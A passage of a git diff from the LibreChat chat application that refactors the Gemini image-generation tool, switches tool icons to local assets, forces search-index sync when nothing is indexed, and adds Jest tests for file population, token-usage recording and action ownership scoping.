@@ -1317,6 +1346,9 @@ class BaseClient {
} else if (file.type === 'application/pdf') {
categorizedAttachments.documents.push(file);
allFiles.push(file);
+ } else if (isBedrock && isBedrockDocumentType(file.type)) {
+ categorizedAttachments.documents.push(file);
+ allFiles.push(file);
} else if (file.type.startsWith('video/')) {
categorizedAttachments.videos.push(file);
allFiles.push(file);
diff --git a/api/app/clients/specs/BaseClient.test.js b/api/app/clients/specs/BaseClient.test.js
index fed80de28c..f13c9979ac 100644
--- a/api/app/clients/specs/BaseClient.test.js
+++ b/api/app/clients/specs/BaseClient.test.js
@@ -821,6 +821,56 @@ describe('BaseClient', () => {
});
});
+ describe('recordTokenUsage model assignment', () => {
+ test('should pass this.model to recordTokenUsage, not the agent ID from responseMessage.model', async () => {
+ const actualModel = 'claude-opus-4-5';
+ const agentId = 'agent_p5Z_IU6EIxBoqn1BoqLBp';
+
+ TestClient.model = actualModel;
+ TestClient.options.endpoint = 'agents';
+ TestClient.options.agent = { id: agentId };
+
+ TestClient.getTokenCountForResponse = jest.fn().mockReturnValue(50);
+ TestClient.recordTokenUsage = jest.fn().mockResolvedValue(undefined);
+ TestClient.buildMessages.mockReturnValue({
+ prompt: [],
+ tokenCountMap: { res: 50 },
+ });
+
+ await TestClient.sendMessage('Hello', {});
+
+ expect(TestClient.recordTokenUsage).toHaveBeenCalledWith(
+ expect.objectContaining({
+ model: actualModel,
+ }),
+ );
+
+ const callArgs = TestClient.recordTokenUsage.mock.calls[0][0];
+ expect(callArgs.model).not.toBe(agentId);
+ });
+
+ test('should pass this.model even when this.model differs from modelOptions.model', async () => {
+ const instanceModel = 'gpt-4o';
+ TestClient.model = instanceModel;
+ TestClient.modelOptions = { model: 'gpt-4o-mini' };
+
+ TestClient.getTokenCountForResponse = jest.fn().mockReturnValue(50);
+ TestClient.recordTokenUsage = jest.fn().mockResolvedValue(undefined);
+ TestClient.buildMessages.mockReturnValue({
+ prompt: [],
+ tokenCountMap: { res: 50 },
+ });
+
+ await TestClient.sendMessage('Hello', {});
+
+ expect(TestClient.recordTokenUsage).toHaveBeenCalledWith(
+ expect.objectContaining({
+ model: instanceModel,
+ }),
+ );
+ });
+ });
+
describe('getMessagesWithinTokenLimit with instructions', () => {
test('should always include instructions when present', async () => {
TestClient.maxContextTokens = 50;
@@ -928,4 +978,123 @@ describe('BaseClient', () => {
expect(result.remainingContextTokens).toBe(2); // 25 - 20 - 3(assistant label)
});
});
+
+ describe('sendMessage file population', () => {
+ const attachment = {
+ file_id: 'file-abc',
+ filename: 'image.png',
+ filepath: '/uploads/image.png',
+ type: 'image/png',
+ bytes: 1024,
+ object: 'file',
+ user: 'user-1',
+ embedded: false,
+ usage: 0,
+ text: 'large ocr blob that should be stripped',
+ _id: 'mongo-id-1',
+ };
+
+ beforeEach(() => {
+ TestClient.options.req = { body: { files: [{ file_id: 'file-abc' }] } };
+ TestClient.options.attachments = [attachment];
+ });
+
+ test('populates userMessage.files before saveMessageToDatabase is called', async () => {
+ TestClient.saveMessageToDatabase = jest.fn().mockImplementation((msg) => {
+ return Promise.resolve({ message: msg });
+ });
+
+ await TestClient.sendMessage('Hello');
+
+ const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+ ([msg]) => msg.isCreatedByUser,
+ );
+ expect(userSave).toBeDefined();
+ expect(userSave[0].files).toBeDefined();
+ expect(userSave[0].files).toHaveLength(1);
+ expect(userSave[0].files[0].file_id).toBe('file-abc');
+ });
+
+ test('strips text and _id from files before saving', async () => {
+ TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
+
+ await TestClient.sendMessage('Hello');
+
+ const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+ ([msg]) => msg.isCreatedByUser,
+ );
+ expect(userSave[0].files[0].text).toBeUndefined();
+ expect(userSave[0].files[0]._id).toBeUndefined();
+ expect(userSave[0].files[0].filename).toBe('image.png');
+ });
+
+ test('deletes image_urls from userMessage when files are present', async () => {
+ TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
+ TestClient.options.attachments = [
+ { ...attachment, image_urls: ['data:image/png;base64,...'] },
+ ];
+
+ await TestClient.sendMessage('Hello');
+
+ const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+ ([msg]) => msg.isCreatedByUser,
+ );
+ expect(userSave[0].image_urls).toBeUndefined();
+ });
+
+ test('does not set files when no attachments match request file IDs', async () => {
+ TestClient.options.req = { body: { files: [{ file_id: 'file-nomatch' }] } };
+ TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
+
+ await TestClient.sendMessage('Hello');
+
+ const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+ ([msg]) => msg.isCreatedByUser,
+ );
+ expect(userSave[0].files).toBeUndefined();
+ });
+
+ test('skips file population when attachments is not an array (Promise case)', async () => {
+ TestClient.options.attachments = Promise.resolve([attachment]);
+ TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
+
+ await TestClient.sendMessage('Hello');
+
+ const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+ ([msg]) => msg.isCreatedByUser,
+ );
+ expect(userSave[0].files).toBeUndefined();
+ });
+
+ test('skips file population when skipSaveUserMessage is true', async () => {
+ TestClient.skipSaveUserMessage = true;
+ TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
+
+ await TestClient.sendMessage('Hello');
+
+ const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+ ([msg]) => msg?.isCreatedByUser,
+ );
+ expect(userSave).toBeUndefined();
+ });
+
+ test('ignores file_id: undefined entries in req.body.files (no set poisoning)', async () => {
+ TestClient.options.req = {
+ body: { files: [{ file_id: undefined }, { file_id: 'file-abc' }] },
+ };
+ TestClient.options.attachments = [
+ { ...attachment, file_id: undefined },
+ { ...attachment, file_id: 'file-abc' },
+ ];
+ TestClient.saveMessageToDatabase = jest.fn().mockResolvedValue({ message: {} });
+
+ await TestClient.sendMessage('Hello');
+
+ const userSave = TestClient.saveMessageToDatabase.mock.calls.find(
+ ([msg]) => msg.isCreatedByUser,
+ );
+ expect(userSave[0].files).toHaveLength(1);
+ expect(userSave[0].files[0].file_id).toBe('file-abc');
+ });
+ });
});
diff --git a/api/app/clients/tools/manifest.json b/api/app/clients/tools/manifest.json
index 7930e67ac9..9637c20867 100644
--- a/api/app/clients/tools/manifest.json
+++ b/api/app/clients/tools/manifest.json
@@ -16,7 +16,7 @@
"name": "Google",
"pluginKey": "google",
"description": "Use Google Search to find information about the weather, news, sports, and more.",
- "icon": "https://i.imgur.com/SMmVkNB.png",
+ "icon": "assets/google-search.svg",
"authConfig": [
{
"authField": "GOOGLE_CSE_ID",
@@ -61,7 +61,7 @@
"name": "DALL-E-3",
"pluginKey": "dalle",
"description": "[DALL-E-3] Create realistic images and art from a description in natural language",
- "icon": "https://i.imgur.com/u2TzXzH.png",
+ "icon": "assets/openai.svg",
"authConfig": [
{
"authField": "DALLE3_API_KEY||DALLE_API_KEY",
@@ -74,7 +74,7 @@
"name": "Tavily Search",
"pluginKey": "tavily_search_results_json",
"description": "Tavily Search is a robust search API tailored for LLM Agents. It seamlessly integrates with diverse data sources to ensure a superior, relevant search experience.",
- "icon": "https://tavily.com/favicon.ico",
+ "icon": "assets/tavily.svg",
"authConfig": [
{
"authField": "TAVILY_API_KEY",
@@ -87,14 +87,14 @@
"name": "Calculator",
"pluginKey": "calculator",
"description": "Perform simple and complex mathematical calculations.",
- "icon": "https://i.imgur.com/RHsSG5h.png",
+ "icon": "assets/calculator.svg",
"authConfig": []
},
{
"name": "Stable Diffusion",
"pluginKey": "stable-diffusion",
"description": "Generate photo-realistic images given any text input.",
- "icon": "https://i.imgur.com/Yr466dp.png",
+ "icon": "assets/stability-ai.svg",
"authConfig": [
{
"authField": "SD_WEBUI_URL",
@@ -107,7 +107,7 @@
"name": "Azure AI Search",
"pluginKey": "azure-ai-search",
"description": "Use Azure AI Search to find information",
- "icon": "https://i.imgur.com/E7crPze.png",
+ "icon": "assets/azure-ai-search.svg",
"authConfig": [
{
"authField": "AZURE_AI_SEARCH_SERVICE_ENDPOINT",
@@ -143,7 +143,7 @@
"name": "Flux",
"pluginKey": "flux",
"description": "Generate images using text with the Flux API.",
- "icon": "https://blackforestlabs.ai/wp-content/uploads/2024/07/bfl_logo_retraced_blk.png",
+ "icon": "assets/bfl-ai.svg",
"isAuthRequired": "true",
"authConfig": [
{
@@ -156,14 +156,14 @@
{
"name": "Gemini Image Tools",
"pluginKey": "gemini_image_gen",
- "toolkit": true,
"description": "Generate high-quality images using Google's Gemini Image Models. Supports Gemini API or Vertex AI.",
"icon": "assets/gemini_image_gen.svg",
"authConfig": [
{
- "authField": "GEMINI_API_KEY||GOOGLE_KEY||GEMINI_VERTEX_ENABLED",
- "label": "Gemini API Key (Optional if Vertex AI is configured)",
- "description": "Your Google Gemini API Key from Google AI Studio . Leave blank if using Vertex AI with service account."
+ "authField": "GEMINI_API_KEY||GOOGLE_KEY||GOOGLE_SERVICE_KEY_FILE",
+ "label": "Gemini API Key (optional)",
+ "description": "Your Google Gemini API Key from Google AI Studio . Leave blank to use Vertex AI with a service account (GOOGLE_SERVICE_KEY_FILE or api/data/auth.json).",
+ "optional": true
}
]
}
diff --git a/api/app/clients/tools/structured/GeminiImageGen.js b/api/app/clients/tools/structured/GeminiImageGen.js
index c0e5a0ce1d..0bd1e302ed 100644
--- a/api/app/clients/tools/structured/GeminiImageGen.js
+++ b/api/app/clients/tools/structured/GeminiImageGen.js
@@ -1,4 +1,3 @@
-const fs = require('fs');
const path = require('path');
const sharp = require('sharp');
const { v4 } = require('uuid');
@@ -6,12 +5,7 @@ const { ProxyAgent } = require('undici');
const { GoogleGenAI } = require('@google/genai');
const { tool } = require('@langchain/core/tools');
const { logger } = require('@librechat/data-schemas');
-const {
- FileContext,
- ContentTypes,
- FileSources,
- EImageOutputType,
-} = require('librechat-data-provider');
+const { ContentTypes, EImageOutputType } = require('librechat-data-provider');
const {
geminiToolkit,
loadServiceKey,
@@ -59,17 +53,12 @@ const displayMessage =
* @returns {string} - The processed string
*/
function replaceUnwantedChars(inputString) {
- return inputString?.replace(/[^\w\s\-_.,!?()]/g, '') || '';
-}
-
-/**
- * Validate and sanitize image format
- * @param {string} format - The format to validate
- * @returns {string} - Safe format
- */
-function getSafeFormat(format) {
- const allowedFormats = ['png', 'jpg', 'jpeg', 'webp', 'gif'];
- return allowedFormats.includes(format?.toLowerCase()) ? format.toLowerCase() : 'png';
+ return (
+ inputString
+ ?.replace(/\r\n|\r|\n/g, ' ')
+ .replace(/"/g, '')
+ .trim() || ''
+ );
}
/**
@@ -117,11 +106,8 @@ async function initializeGeminiClient(options = {}) {
return new GoogleGenAI({ apiKey: googleKey });
}
- // Fall back to Vertex AI with service account
logger.debug('[GeminiImageGen] Using Vertex AI with service account');
const credentialsPath = getDefaultServiceKeyPath();
-
- // Use loadServiceKey for consistent loading (supports file paths, JSON strings, base64)
const serviceKey = await loadServiceKey(credentialsPath);
if (!serviceKey || !serviceKey.project_id) {
@@ -131,75 +117,14 @@ async function initializeGeminiClient(options = {}) {
);
}
- // Set GOOGLE_APPLICATION_CREDENTIALS for any Google Cloud SDK dependencies
- try {
- await fs.promises.access(credentialsPath);
- process.env.GOOGLE_APPLICATION_CREDENTIALS = credentialsPath;
- } catch {
- // File doesn't exist, skip setting env var
- }
-
return new GoogleGenAI({
vertexai: true,
project: serviceKey.project_id,
location: process.env.GOOGLE_LOC || process.env.GOOGLE_CLOUD_LOCATION || 'global',
+ googleAuthOptions: { credentials: serviceKey },
});
}
-/**
- * Save image to local filesystem
- * @param {string} base64Data - Base64 encoded image data
- * @param {string} format - Image format
- * @param {string} userId - User ID
- * @returns {Promise} - The relative URL
- */
-async function saveImageLocally(base64Data, format, userId) {
- const safeFormat = getSafeFormat(format);
- const safeUserId = userId ? path.basename(userId) : 'default';
- const imageName = `gemini-img-${v4()}.${safeFormat}`;
- const userDir = path.join(process.cwd(), 'client/public/images', safeUserId);
-
- await fs.promises.mkdir(userDir, { recursive: true });
-
- const filePath = path.join(userDir, imageName);
- await fs.promises.writeFile(filePath, Buffer.from(base64Data, 'base64'));
-
- logger.debug('[GeminiImageGen] Image saved locally to:', filePath);
- return `/images/${safeUserId}/${imageName}`;
-}
-
-/**
- * Save image to cloud storage
- * @param {Object} params - Parameters
- * @returns {Promise} - The storage URL or null
- */
-async function saveToCloudStorage({ base64Data, format, processFileURL, fileStrategy, userId }) {
- if (!processFileURL || !fileStrategy || !userId) {
- return null;
- }
-
- try {
- const safeFormat = getSafeFormat(format);
- const safeUserId = path.basename(userId);
- const dataURL = `data:image/${safeFormat};base64,${base64Data}`;
- const imageName = `gemini-img-${v4()}.${safeFormat}`;
-
- const result = await processFileURL({
- URL: dataURL,
- basePath: 'images',
- userId: safeUserId,
- fileName: imageName,
- fileStrategy,
- context: FileContext.image_generation,
- });
-
- return result.filepath;
- } catch (error) {
- logger.error('[GeminiImageGen] Error saving to cloud storage:', error);
- return null;
- }
-}
-
/**
* Convert image files to Gemini inline data format
* @param {Object} params - Parameters
@@ -326,8 +251,9 @@ function checkForSafetyBlock(response) {
* @param {string} params.userId - The user ID
* @param {string} params.conversationId - The conversation ID
* @param {string} params.model - The model name
+ * @param {string} [params.messageId] - The response message ID for transaction correlation
*/
-async function recordTokenUsage({ usageMetadata, req, userId, conversationId, model }) {
+async function recordTokenUsage({ usageMetadata, req, userId, conversationId, model, messageId }) {
if (!usageMetadata) {
logger.debug('[GeminiImageGen] No usage metadata available for balance tracking');
return;
@@ -363,6 +289,7 @@ async function recordTokenUsage({ usageMetadata, req, userId, conversationId, mo
{
user: userId,
model,
+ messageId,
conversationId,
context: 'image_generation',
balance,
@@ -390,34 +317,18 @@ function createGeminiImageTool(fields = {}) {
throw new Error('This tool is only available for agents.');
}
- // Skip validation during tool creation - validation happens at runtime in initializeGeminiClient
- // This allows the tool to be added to agents when using Vertex AI without requiring API keys
- // The actual credentials check happens when the tool is invoked
-
- const {
- req,
- imageFiles = [],
- processFileURL,
- userId,
- fileStrategy,
- GEMINI_API_KEY,
- GOOGLE_KEY,
- // GEMINI_VERTEX_ENABLED is used for auth validation only (not used in code)
- // When set as env var, it signals Vertex AI is configured and bypasses API key requirement
- } = fields;
+ const { req, imageFiles = [], userId, fileStrategy, GEMINI_API_KEY, GOOGLE_KEY } = fields;
const imageOutputType = fields.imageOutputType || EImageOutputType.PNG;
const geminiImageGenTool = tool(
- async ({ prompt, image_ids, aspectRatio, imageSize }, _runnableConfig) => {
+ async ({ prompt, image_ids, aspectRatio, imageSize }, runnableConfig) => {
if (!prompt) {
throw new Error('Missing required field: prompt');
}
- logger.debug('[GeminiImageGen] Generating image with prompt:', prompt?.substring(0, 100));
- logger.debug('[GeminiImageGen] Options:', { aspectRatio, imageSize });
+ logger.debug('[GeminiImageGen] Generating image', { aspectRatio, imageSize });
- // Initialize Gemini client with user-provided credentials
let ai;
try {
ai = await initializeGeminiClient({
@@ -432,10 +343,8 @@ function createGeminiImageTool(fields = {}) {
];
}
- // Build request contents
const contents = [{ text: replaceUnwantedChars(prompt) }];
- // Add context images if provided
if (image_ids?.length > 0) {
const contextImages = await convertImagesToInlineData({
imageFiles,
@@ -447,28 +356,34 @@ function createGeminiImageTool(fields = {}) {
logger.debug('[GeminiImageGen] Added', contextImages.length, 'context images');
}
- // Generate image
let apiResponse;
const geminiModel = process.env.GEMINI_IMAGE_MODEL || 'gemini-2.5-flash-image';
- try {
- // Build config with optional imageConfig
- const config = {
- responseModalities: ['TEXT', 'IMAGE'],
- };
+ const config = {
+ responseModalities: ['TEXT', 'IMAGE'],
+ };
- // Add imageConfig if aspectRatio or imageSize is specified
- // Note: gemini-2.5-flash-image doesn't support imageSize
- const supportsImageSize = !geminiModel.includes('gemini-2.5-flash-image');
- if (aspectRatio || (imageSize && supportsImageSize)) {
- config.imageConfig = {};
- if (aspectRatio) {
- config.imageConfig.aspectRatio = aspectRatio;
- }
- if (imageSize && supportsImageSize) {
- config.imageConfig.imageSize = imageSize;
- }
+ const supportsImageSize = !geminiModel.includes('gemini-2.5-flash-image');
+ if (aspectRatio || (imageSize && supportsImageSize)) {
+ config.imageConfig = {};
+ if (aspectRatio) {
+ config.imageConfig.aspectRatio = aspectRatio;
}
+ if (imageSize && supportsImageSize) {
+ config.imageConfig.imageSize = imageSize;
+ }
+ }
+ let derivedSignal = null;
+ let abortHandler = null;
+
+ if (runnableConfig?.signal) {
+ derivedSignal = AbortSignal.any([runnableConfig.signal]);
+ abortHandler = () => logger.debug('[GeminiImageGen] Image generation aborted');
+ derivedSignal.addEventListener('abort', abortHandler, { once: true });
+ config.abortSignal = derivedSignal;
+ }
+
+ try {
apiResponse = await ai.models.generateContent({
model: geminiModel,
contents,
@@ -480,9 +395,12 @@ function createGeminiImageTool(fields = {}) {
[{ type: ContentTypes.TEXT, text: `Image generation failed: ${error.message}` }],
{ content: [], file_ids: [] },
];
+ } finally {
+ if (abortHandler && derivedSignal) {
+ derivedSignal.removeEventListener('abort', abortHandler);
+ }
}
- // Check for safety blocks
const safetyBlock = checkForSafetyBlock(apiResponse);
if (safetyBlock) {
logger.warn('[GeminiImageGen] Safety block:', safetyBlock);
@@ -509,46 +427,7 @@ function createGeminiImageTool(fields = {}) {
const imageData = convertedBuffer.toString('base64');
const mimeType = outputFormat === 'jpeg' ? 'image/jpeg' : `image/${outputFormat}`;
- logger.debug('[GeminiImageGen] Image format:', { outputFormat, mimeType });
-
- let imageUrl;
- const useLocalStorage = !fileStrategy || fileStrategy === FileSources.local;
-
- if (useLocalStorage) {
- try {
- imageUrl = await saveImageLocally(imageData, outputFormat, userId);
- } catch (error) {
- logger.error('[GeminiImageGen] Local save failed:', error);
- imageUrl = `data:${mimeType};base64,${imageData}`;
- }
- } else {
- const cloudUrl = await saveToCloudStorage({
- base64Data: imageData,
- format: outputFormat,
- processFileURL,
- fileStrategy,
- userId,
- });
-
- if (cloudUrl) {
- imageUrl = cloudUrl;
- } else {
- // Fallback to local
- try {
- imageUrl = await saveImageLocally(imageData, outputFormat, userId);
- } catch (_error) {
- imageUrl = `data:${mimeType};base64,${imageData}`;
- }
- }
- }
-
- logger.debug('[GeminiImageGen] Image URL:', imageUrl);
-
- // For the artifact, we need a data URL (same as OpenAI)
- // The local file save is for persistence, but the response needs a data URL
const dataUrl = `data:${mimeType};base64,${imageData}`;
-
- // Return in content_and_artifact format (same as OpenAI)
const file_ids = [v4()];
const content = [
{
@@ -567,12 +446,15 @@ function createGeminiImageTool(fields = {}) {
},
];
- // Record token usage for balance tracking (don't await to avoid blocking response)
- const conversationId = _runnableConfig?.configurable?.thread_id;
+ const conversationId = runnableConfig?.configurable?.thread_id;
+ const messageId =
+ runnableConfig?.configurable?.run_id ??
+ runnableConfig?.configurable?.requestBody?.messageId;
recordTokenUsage({
usageMetadata: apiResponse.usageMetadata,
req,
userId,
+ messageId,
conversationId,
model: geminiModel,
}).catch((error) => {
diff --git a/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js b/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js
index 4481a7d70f..262842b3c2 100644
--- a/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js
+++ b/api/app/clients/tools/structured/specs/DALLE3-proxy.spec.js
@@ -1,7 +1,6 @@
const DALLE3 = require('../DALLE3');
const { ProxyAgent } = require('undici');
-jest.mock('tiktoken');
const processFileURL = jest.fn();
describe('DALLE3 Proxy Configuration', () => {
diff --git a/api/app/clients/tools/structured/specs/DALLE3.spec.js b/api/app/clients/tools/structured/specs/DALLE3.spec.js
index d2040989f9..6071929bfc 100644
--- a/api/app/clients/tools/structured/specs/DALLE3.spec.js
+++ b/api/app/clients/tools/structured/specs/DALLE3.spec.js
@@ -14,15 +14,6 @@ jest.mock('@librechat/data-schemas', () => {
};
});
-jest.mock('tiktoken', () => {
- return {
- encoding_for_model: jest.fn().mockReturnValue({
- encode: jest.fn(),
- decode: jest.fn(),
- }),
- };
-});
-
const processFileURL = jest.fn();
const generate = jest.fn();
diff --git a/api/app/clients/tools/util/handleTools.js b/api/app/clients/tools/util/handleTools.js
index 65c88ce83f..d82a0d6930 100644
--- a/api/app/clients/tools/util/handleTools.js
+++ b/api/app/clients/tools/util/handleTools.js
@@ -7,6 +7,7 @@ const {
} = require('@librechat/agents');
const {
checkAccess,
+ toolkitParent,
createSafeUser,
mcpToolPattern,
loadWebSearchAuth,
@@ -207,7 +208,7 @@ const loadTools = async ({
},
gemini_image_gen: async (toolContextMap) => {
const authFields = getAuthFields('gemini_image_gen');
- const authValues = await loadAuthValues({ userId: user, authFields });
+ const authValues = await loadAuthValues({ userId: user, authFields, throwError: false });
const imageFiles = options.tool_resources?.[EToolResources.image_edit]?.files ?? [];
const toolContext = buildImageToolContext({
imageFiles,
@@ -222,7 +223,6 @@ const loadTools = async ({
isAgent: !!agent,
req: options.req,
imageFiles,
- processFileURL: options.processFileURL,
userId: user,
fileStrategy,
});
@@ -370,8 +370,16 @@ const loadTools = async ({
continue;
}
- if (customConstructors[tool]) {
- requestedTools[tool] = async () => customConstructors[tool](toolContextMap);
+ const toolKey = customConstructors[tool] ? tool : toolkitParent[tool];
+ if (toolKey && customConstructors[toolKey]) {
+ if (!requestedTools[toolKey]) {
+ let cached;
+ requestedTools[toolKey] = async () => {
+ cached ??= customConstructors[toolKey](toolContextMap);
+ return cached;
+ };
+ }
+ requestedTools[tool] = requestedTools[toolKey];
continue;
}
diff --git a/api/cache/getLogStores.js b/api/cache/getLogStores.js
index 3089192196..70eb681e53 100644
--- a/api/cache/getLogStores.js
+++ b/api/cache/getLogStores.js
@@ -47,7 +47,7 @@ const namespaces = {
[CacheKeys.MODEL_QUERIES]: standardCache(CacheKeys.MODEL_QUERIES),
[CacheKeys.AUDIO_RUNS]: standardCache(CacheKeys.AUDIO_RUNS, Time.TEN_MINUTES),
[CacheKeys.MESSAGES]: standardCache(CacheKeys.MESSAGES, Time.ONE_MINUTE),
- [CacheKeys.FLOWS]: standardCache(CacheKeys.FLOWS, Time.ONE_MINUTE * 3),
+ [CacheKeys.FLOWS]: standardCache(CacheKeys.FLOWS, Time.ONE_MINUTE * 10),
[CacheKeys.OPENID_EXCHANGED_TOKENS]: standardCache(
CacheKeys.OPENID_EXCHANGED_TOKENS,
Time.TEN_MINUTES,
diff --git a/api/db/indexSync.js b/api/db/indexSync.js
index 8e8e999d92..130cde77b8 100644
--- a/api/db/indexSync.js
+++ b/api/db/indexSync.js
@@ -236,8 +236,12 @@ async function performSync(flowManager, flowId, flowType) {
const messageCount = messageProgress.totalDocuments;
const messagesIndexed = messageProgress.totalProcessed;
const unindexedMessages = messageCount - messagesIndexed;
+ const noneIndexed = messagesIndexed === 0 && unindexedMessages > 0;
- if (settingsUpdated || unindexedMessages > syncThreshold) {
+ if (settingsUpdated || noneIndexed || unindexedMessages > syncThreshold) {
+ if (noneIndexed && !settingsUpdated) {
+ logger.info('[indexSync] No messages marked as indexed, forcing full sync');
+ }
logger.info(`[indexSync] Starting message sync (${unindexedMessages} unindexed)`);
await Message.syncWithMeili();
messagesSync = true;
@@ -261,9 +265,13 @@ async function performSync(flowManager, flowId, flowType) {
const convoCount = convoProgress.totalDocuments;
const convosIndexed = convoProgress.totalProcessed;
-
const unindexedConvos = convoCount - convosIndexed;
- if (settingsUpdated || unindexedConvos > syncThreshold) {
+ const noneConvosIndexed = convosIndexed === 0 && unindexedConvos > 0;
+
+ if (settingsUpdated || noneConvosIndexed || unindexedConvos > syncThreshold) {
+ if (noneConvosIndexed && !settingsUpdated) {
+ logger.info('[indexSync] No conversations marked as indexed, forcing full sync');
+ }
logger.info(`[indexSync] Starting convos sync (${unindexedConvos} unindexed)`);
await Conversation.syncWithMeili();
convosSync = true;
diff --git a/api/db/indexSync.spec.js b/api/db/indexSync.spec.js
index c2e5901d6a..dbe07c7595 100644
--- a/api/db/indexSync.spec.js
+++ b/api/db/indexSync.spec.js
@@ -462,4 +462,69 @@ describe('performSync() - syncThreshold logic', () => {
);
expect(mockLogger.info).toHaveBeenCalledWith('[indexSync] Starting convos sync (50 unindexed)');
});
+
+ test('forces sync when zero documents indexed (reset scenario) even if below threshold', async () => {
+ Message.getSyncProgress.mockResolvedValue({
+ totalProcessed: 0,
+ totalDocuments: 680,
+ isComplete: false,
+ });
+
+ Conversation.getSyncProgress.mockResolvedValue({
+ totalProcessed: 0,
+ totalDocuments: 76,
+ isComplete: false,
+ });
+
+ Message.syncWithMeili.mockResolvedValue(undefined);
+ Conversation.syncWithMeili.mockResolvedValue(undefined);
+
+ const indexSync = require('./indexSync');
+ await indexSync();
+
+ expect(Message.syncWithMeili).toHaveBeenCalledTimes(1);
+ expect(Conversation.syncWithMeili).toHaveBeenCalledTimes(1);
+ expect(mockLogger.info).toHaveBeenCalledWith(
+ '[indexSync] No messages marked as indexed, forcing full sync',
+ );
+ expect(mockLogger.info).toHaveBeenCalledWith(
+ '[indexSync] Starting message sync (680 unindexed)',
+ );
+ expect(mockLogger.info).toHaveBeenCalledWith(
+ '[indexSync] No conversations marked as indexed, forcing full sync',
+ );
+ expect(mockLogger.info).toHaveBeenCalledWith('[indexSync] Starting convos sync (76 unindexed)');
+ });
+
+ test('does NOT force sync when some documents already indexed and below threshold', async () => {
+ Message.getSyncProgress.mockResolvedValue({
+ totalProcessed: 630,
+ totalDocuments: 680,
+ isComplete: false,
+ });
+
+ Conversation.getSyncProgress.mockResolvedValue({
+ totalProcessed: 70,
+ totalDocuments: 76,
+ isComplete: false,
+ });
+
+ const indexSync = require('./indexSync');
+ await indexSync();
+
+ expect(Message.syncWithMeili).not.toHaveBeenCalled();
+ expect(Conversation.syncWithMeili).not.toHaveBeenCalled();
+ expect(mockLogger.info).not.toHaveBeenCalledWith(
+ '[indexSync] No messages marked as indexed, forcing full sync',
+ );
+ expect(mockLogger.info).not.toHaveBeenCalledWith(
+ '[indexSync] No conversations marked as indexed, forcing full sync',
+ );
+ expect(mockLogger.info).toHaveBeenCalledWith(
+ '[indexSync] 50 messages unindexed (below threshold: 1000, skipping)',
+ );
+ expect(mockLogger.info).toHaveBeenCalledWith(
+ '[indexSync] 6 convos unindexed (below threshold: 1000, skipping)',
+ );
+ });
});
diff --git a/api/jest.config.js b/api/jest.config.js
index 20ee3c6aed..47f8b7287b 100644
--- a/api/jest.config.js
+++ b/api/jest.config.js
@@ -3,12 +3,13 @@ module.exports = {
clearMocks: true,
roots: [''],
coverageDirectory: 'coverage',
+ maxWorkers: '50%',
testTimeout: 30000, // 30 seconds timeout for all tests
setupFiles: ['./test/jestSetup.js', './test/__mocks__/logger.js'],
moduleNameMapper: {
'~/(.*)': '/$1',
'~/data/auth.json': '/__mocks__/auth.mock.json',
- '^openid-client/passport$': '/test/__mocks__/openid-client-passport.js', // Mock for the passport strategy part
+ '^openid-client/passport$': '/test/__mocks__/openid-client-passport.js',
'^openid-client$': '/test/__mocks__/openid-client.js',
},
transformIgnorePatterns: ['/node_modules/(?!(openid-client|oauth4webapi|jose)/).*/'],
diff --git a/api/models/Action.js b/api/models/Action.js
index 20aa20a7e4..f14c415d5b 100644
--- a/api/models/Action.js
+++ b/api/models/Action.js
@@ -4,9 +4,7 @@ const { Action } = require('~/db/models');
* Update an action with new data without overwriting existing properties,
* or create a new action if it doesn't exist.
*
- * @param {Object} searchParams - The search parameters to find the action to update.
- * @param {string} searchParams.action_id - The ID of the action to update.
- * @param {string} searchParams.user - The user ID of the action's author.
+ * @param {{ action_id: string, agent_id?: string, assistant_id?: string, user?: string }} searchParams
* @param {Object} updateData - An object containing the properties to update.
* @returns {Promise} The updated or newly created action document as a plain object.
*/
@@ -47,10 +45,8 @@ const getActions = async (searchParams, includeSensitive = false) => {
/**
* Deletes an action by params.
*
- * @param {Object} searchParams - The search parameters to find the action to delete.
- * @param {string} searchParams.action_id - The ID of the action to delete.
- * @param {string} searchParams.user - The user ID of the action's author.
- * @returns {Promise} A promise that resolves to the deleted action document as a plain object, or null if no document was found.
+ * @param {{ action_id: string, agent_id?: string, assistant_id?: string, user?: string }} searchParams
+ * @returns {Promise} The deleted action document as a plain object, or null if no match.
*/
const deleteAction = async (searchParams) => {
return await Action.findOneAndDelete(searchParams).lean();
diff --git a/api/models/Action.spec.js b/api/models/Action.spec.js
new file mode 100644
index 0000000000..61a3b10f0f
--- /dev/null
+++ b/api/models/Action.spec.js
@@ -0,0 +1,250 @@
+const mongoose = require('mongoose');
+const { MongoMemoryServer } = require('mongodb-memory-server');
+const { actionSchema } = require('@librechat/data-schemas');
+const { updateAction, getActions, deleteAction } = require('./Action');
+
+let mongoServer;
+
+beforeAll(async () => {
+ mongoServer = await MongoMemoryServer.create();
+ const mongoUri = mongoServer.getUri();
+ if (!mongoose.models.Action) {
+ mongoose.model('Action', actionSchema);
+ }
+ await mongoose.connect(mongoUri);
+}, 20000);
+
+afterAll(async () => {
+ await mongoose.disconnect();
+ await mongoServer.stop();
+});
+
+beforeEach(async () => {
+ await mongoose.models.Action.deleteMany({});
+});
+
+const userId = new mongoose.Types.ObjectId();
+
+describe('Action ownership scoping', () => {
+ describe('updateAction', () => {
+ it('updates when action_id and agent_id both match', async () => {
+ await mongoose.models.Action.create({
+ user: userId,
+ action_id: 'act_1',
+ agent_id: 'agent_A',
+ metadata: { domain: 'example.com' },
+ });
+
+ const result = await updateAction(
+ { action_id: 'act_1', agent_id: 'agent_A' },
+ { metadata: { domain: 'updated.com' } },
+ );
+
+ expect(result).not.toBeNull();
+ expect(result.metadata.domain).toBe('updated.com');
+ expect(result.agent_id).toBe('agent_A');
+ });
+
+ it('does not update when agent_id does not match (creates a new doc via upsert)', async () => {
